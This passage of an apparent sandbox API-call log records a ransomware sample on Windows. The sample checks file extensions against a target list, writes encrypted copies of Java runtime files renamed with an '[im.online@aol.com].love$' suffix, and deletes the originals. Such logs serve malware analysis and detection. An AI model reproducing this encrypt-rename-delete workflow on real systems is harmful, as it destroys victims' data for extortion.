(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString=".zip") returned 4 [0240.112] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0240.112] lstrlenW (lpString=".rar") returned 4 [0240.112] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0240.112] lstrlenW (lpString=".bz2") returned 4 [0240.112] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0240.112] lstrlenW (lpString=".7z") returned 3 [0240.112] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0240.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString=".dbf") returned 4 [0240.112] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0240.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString=".1cd") returned 4 [0240.112] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0240.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString=".jpg") returned 4 [0240.112] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0240.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.112] lstrlenW (lpString=".doc") returned 4 [0240.112] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0240.112] lstrlenW (lpString=".docx") returned 5 [0240.112] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0240.112] lstrlenW (lpString=".pdf") returned 4 [0240.113] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0240.113] lstrlenW (lpString=".xls") returned 4 [0240.113] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0240.113] lstrlenW (lpString=".xlsx") returned 5 [0240.113] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0240.113] lstrlenW (lpString=".ppt") returned 4 [0240.113] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0240.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.113] lstrlenW (lpString=".zip") returned 4 [0240.113] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0240.113] lstrlenW (lpString=".rar") returned 4 [0240.113] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0240.113] lstrlenW (lpString=".bz2") returned 4 [0240.113] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0240.113] lstrlenW (lpString=".7z") returned 3 [0240.113] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0240.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.113] lstrlenW (lpString=".dbf") returned 4 [0240.113] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0240.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.113] lstrlenW (lpString=".1cd") returned 4 [0240.113] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0240.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.113] lstrlenW (lpString=".jpg") returned 4 [0240.113] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0240.113] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0240.113] lstrlenW (lpString="management-agent.jar") returned 20 [0240.114] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.114] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=381) returned 1 [0240.114] CloseHandle (hObject=0x45c) returned 1 [0240.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0240.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.115] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.115] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.679] GetLastError () returned 0x0 [0240.679] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x17d, lpOverlapped=0x0) returned 1 [0240.680] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x180, lpOverlapped=0x0) returned 1 [0240.681] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0240.681] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xfc, lpOverlapped=0x0) returned 1 [0240.684] SetEndOfFile (hFile=0x388) returned 1 [0240.685] CloseHandle (hObject=0x388) returned 1 [0240.685] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.685] SetEndOfFile (hFile=0x45c) returned 1 [0240.688] CloseHandle (hObject=0x45c) returned 1 [0240.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.689] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0240.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.702] lstrlenW (lpString=".doc") returned 4 [0240.702] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.702] lstrlenW (lpString=".docx") returned 5 [0240.702] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.702] lstrlenW (lpString=".pdf") returned 4 [0240.702] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.702] lstrlenW (lpString=".xls") returned 4 [0240.702] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.702] lstrlenW (lpString=".xlsx") returned 5 [0240.702] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.702] lstrlenW (lpString=".ppt") returned 4 [0240.702] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.702] lstrlenW (lpString=".zip") returned 4 [0240.702] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.702] lstrlenW (lpString=".rar") returned 4 [0240.702] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.702] lstrlenW (lpString=".bz2") returned 4 [0240.702] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.702] lstrlenW (lpString=".7z") returned 3 [0240.702] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.702] lstrlenW (lpString=".dbf") returned 4 [0240.702] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.702] lstrlenW (lpString=".1cd") returned 4 [0240.702] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".jpg") returned 4 [0240.703] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".doc") returned 4 [0240.703] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.703] lstrlenW (lpString=".docx") returned 5 [0240.703] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.703] lstrlenW (lpString=".pdf") returned 4 [0240.703] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString=".xls") returned 4 [0240.703] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString=".xlsx") returned 5 [0240.703] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.703] lstrlenW (lpString=".ppt") returned 4 [0240.703] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".zip") returned 4 [0240.703] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString=".rar") returned 4 [0240.703] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.703] lstrlenW (lpString=".bz2") returned 4 [0240.703] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.703] lstrlenW (lpString=".7z") returned 3 [0240.703] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".dbf") returned 4 [0240.703] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".1cd") returned 4 [0240.703] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0240.703] lstrlenW (lpString=".jpg") returned 4 [0240.704] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.704] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".love$") returned -1 [0240.704] lstrlenW (lpString="meta-index") returned 10 [0240.704] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.705] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=2126) returned 1 [0240.705] CloseHandle (hObject=0x45c) returned 1 [0240.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0240.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.706] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.706] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.707] GetLastError () returned 0x0 [0240.707] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x84e, lpOverlapped=0x0) returned 1 [0240.709] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x850, lpOverlapped=0x0) returned 1 [0240.710] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0240.710] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe8, lpOverlapped=0x0) returned 1 [0240.710] SetEndOfFile (hFile=0x388) returned 1 [0240.710] CloseHandle (hObject=0x388) returned 1 [0240.710] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.711] SetEndOfFile (hFile=0x45c) returned 1 [0240.713] CloseHandle (hObject=0x45c) returned 1 [0240.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.714] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0241.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.204] lstrlenW (lpString=".doc") returned 4 [0241.204] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0241.204] lstrlenW (lpString=".docx") returned 5 [0241.204] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0241.204] lstrlenW (lpString=".pdf") returned 4 [0241.204] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0241.204] lstrlenW (lpString=".xls") returned 4 [0241.204] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0241.204] lstrlenW (lpString=".xlsx") returned 5 [0241.204] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0241.204] lstrlenW (lpString=".ppt") returned 4 [0241.204] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0241.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.204] lstrlenW (lpString=".zip") returned 4 [0241.204] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0241.204] lstrlenW (lpString=".rar") returned 4 [0241.204] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString=".bz2") returned 4 [0241.205] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString=".7z") returned 3 [0241.205] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0241.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.205] lstrlenW (lpString=".dbf") returned 4 [0241.205] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.205] lstrlenW (lpString=".1cd") returned 4 [0241.205] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.205] lstrlenW (lpString=".jpg") returned 4 [0241.205] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.205] lstrlenW (lpString=".doc") returned 4 [0241.205] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString=".docx") returned 5 [0241.205] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0241.205] lstrlenW (lpString=".pdf") returned 4 [0241.205] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString=".xls") returned 4 [0241.205] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0241.205] lstrlenW (lpString=".xlsx") returned 5 [0241.205] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0241.205] lstrlenW (lpString=".ppt") returned 4 [0241.205] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.206] lstrlenW (lpString=".zip") returned 4 [0241.206] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString=".rar") returned 4 [0241.206] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString=".bz2") returned 4 [0241.206] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString=".7z") returned 3 [0241.206] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0241.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.206] lstrlenW (lpString=".dbf") returned 4 [0241.206] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.206] lstrlenW (lpString=".1cd") returned 4 [0241.206] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0241.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0241.206] lstrlenW (lpString=".jpg") returned 4 [0241.206] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0241.206] lstrcmpiW (lpString1=".policy", lpString2=".love$") returned 1 [0241.206] lstrlenW (lpString="java.policy") returned 11 [0241.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.208] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=2466) returned 1 [0241.208] CloseHandle (hObject=0x45c) returned 1 [0241.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0241.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.209] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.209] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0241.210] GetLastError () returned 0x0 [0241.210] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x9a2, lpOverlapped=0x0) returned 1 [0241.237] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x9b0, lpOverlapped=0x0) returned 1 [0241.239] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0241.239] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0241.239] SetEndOfFile (hFile=0x540) returned 1 [0241.239] CloseHandle (hObject=0x540) returned 1 [0241.239] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.239] SetEndOfFile (hFile=0x45c) returned 1 [0241.242] CloseHandle (hObject=0x45c) returned 1 [0241.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0241.243] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0241.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.244] lstrlenW (lpString=".doc") returned 4 [0241.244] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString=".docx") returned 5 [0241.244] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0241.244] lstrlenW (lpString=".pdf") returned 4 [0241.244] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString=".xls") returned 4 [0241.244] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString=".xlsx") returned 5 [0241.244] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0241.244] lstrlenW (lpString=".ppt") returned 4 [0241.244] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.244] lstrlenW (lpString=".zip") returned 4 [0241.244] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString=".rar") returned 4 [0241.244] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0241.244] lstrlenW (lpString=".bz2") returned 4 [0241.245] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString=".7z") returned 3 [0241.245] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.245] lstrlenW (lpString=".dbf") returned 4 [0241.245] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.245] lstrlenW (lpString=".1cd") returned 4 [0241.245] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.245] lstrlenW (lpString=".jpg") returned 4 [0241.245] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.245] lstrlenW (lpString=".doc") returned 4 [0241.245] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString=".docx") returned 5 [0241.245] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0241.245] lstrlenW (lpString=".pdf") returned 4 [0241.245] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString=".xls") returned 4 [0241.245] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString=".xlsx") returned 5 [0241.245] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0241.245] lstrlenW (lpString=".ppt") returned 4 [0241.245] lstrcmpiW 